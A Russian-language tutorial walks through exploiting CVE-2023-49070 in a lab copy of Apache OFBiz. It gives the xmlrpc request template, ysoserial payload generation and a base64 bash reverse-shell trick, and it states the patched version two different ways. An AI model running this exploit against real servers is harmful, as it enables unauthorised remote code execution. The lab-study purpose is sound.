Exploits
January 18

Apache OFBiz CVE-2023-49070

Введение

Apache OFBiz - это open-source программное обеспечение, включающее в себя множество различных приложений для интеграции и автоматизации множества бизнес-процессов предприятий.

5 декабря 2023 года в OFBiz был найден критический баг, приводящий к удаленному выполнению кода без аутентификации. Уязвимость получила 9.8 баллов по CVSS и идентификатор CVE-2023-49070. Разработчик исправил ошибку в обновлении 18.12.10.

В этой статье мы развернем уязвимую версию OFBiz и разберемся как эксплуатировать ее.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Подготовка

Для эксплуатации уязвимостей нам необходимо поставить версию уязвимого ПО - 18.12.09 для CVE-2023-49070. Эта версия доступна на vulhub, откуда ее можно установить с помощью docker pull или docker-compose, предварительно скачав каталог с файлами настройки из GitHub-репозитория.

Скачиваем контейнер с помощью docker pull:

docker pull vulhub/ofbiz:18.12.09 # - скачиваем версию 18.12.09

Чтобы запускать и останавливать контейнеры достаточно написать следующие команды:

docker run -d -p 8443:8443 vulhub/ofbiz:18.12.09 # - запуск контейнера 
docker stop CONTAINER_ID # - остановка контейнера по id

Также для эксплуатации уязвимости необходимо скачать ysoserial. ysoserial - это проект, необходимый для эксплуатации небезопасной десериализации объектов в программах, написанных на Java. Подробнее об этой уязвимости можно прочитать на PortSwigger. Коротко говоря, ysoserial будет использоваться для генерации сериализованного Java объекта с внедренным пэйлоадом для эксплуатации.

Разбор уязвимости CVE-2023-49070

Для начала демонстрации необходимо запустить контейнер, как это было показано выше (запуск может потребовать некоторого времени). Когда образ полностью поднимется, у нас будет доступно веб-приложение на порту 8443:

Уязвимость заключается в модуле xmlrpc, где можно произвести внедрение команды в XML. Внедрение кода происходит в точке /webtools/control/xmlrpc;/. Для этого нужно отправить запрос со следующей структурой:

POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 
Host: 127.0.0.1:8443 
Connection: close 
Content-Length: 669 

<?xml version="1.0"?> 
 <methodCall> 
  <methodName>qwe</methodName> 
   <params> 
    <param> 
     <value> 
      <struct>
       <member> 
        <name>rce</name> 
        <value> 
         <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"> PAYLOAD </serializable> 
        </value> 
       </member> 
      </struct> 
     </value> 
    </param> 
   </params>
  </methodCall>

Теперь нам необходимо сгенерировать пэйлоад с помощью раннее скачанного ysoserial:

java -jar ysoserial-all.jar CommonsBeanutils1 'COMMAND' | base64 | tr -d "\n"

где COMMAND - команда, которую мы хотим выполнить, зашифрованная в base64.

Однако, мы поступим немного хитрее, иначе пэйлоад на реверс-шелл не отработает из-за спец-символов и фильтрации. Мы сначала закодируем команду в base64, а в конечном пэйлоаде будем проводить декодировку:

java -jar ysoserial-all.jar CommonsBeanutils1 'bash -c {echo,BASE64_COMMAND}|{base64,-d}|{bash,-i}' | base64 | tr -d "\n"

Отправив полученную закодированную строку, мы получаем обратный шелл:

Заключение

В этой статье мы развернули уязвимую версию Apache OFBiz 18.12.09 и рассмотрели как эксплуатировать уязвимость CVE-2023-49070. Данная ошибка была исправлена разработчиком в версии 18.09.10, однако это привлекло к другой уязвимости, также приводящей к удаленному выполнению кода. Эта уязвимость получила идентификатор CVE-2023-51467 и будет рассмотрена в следующей статье.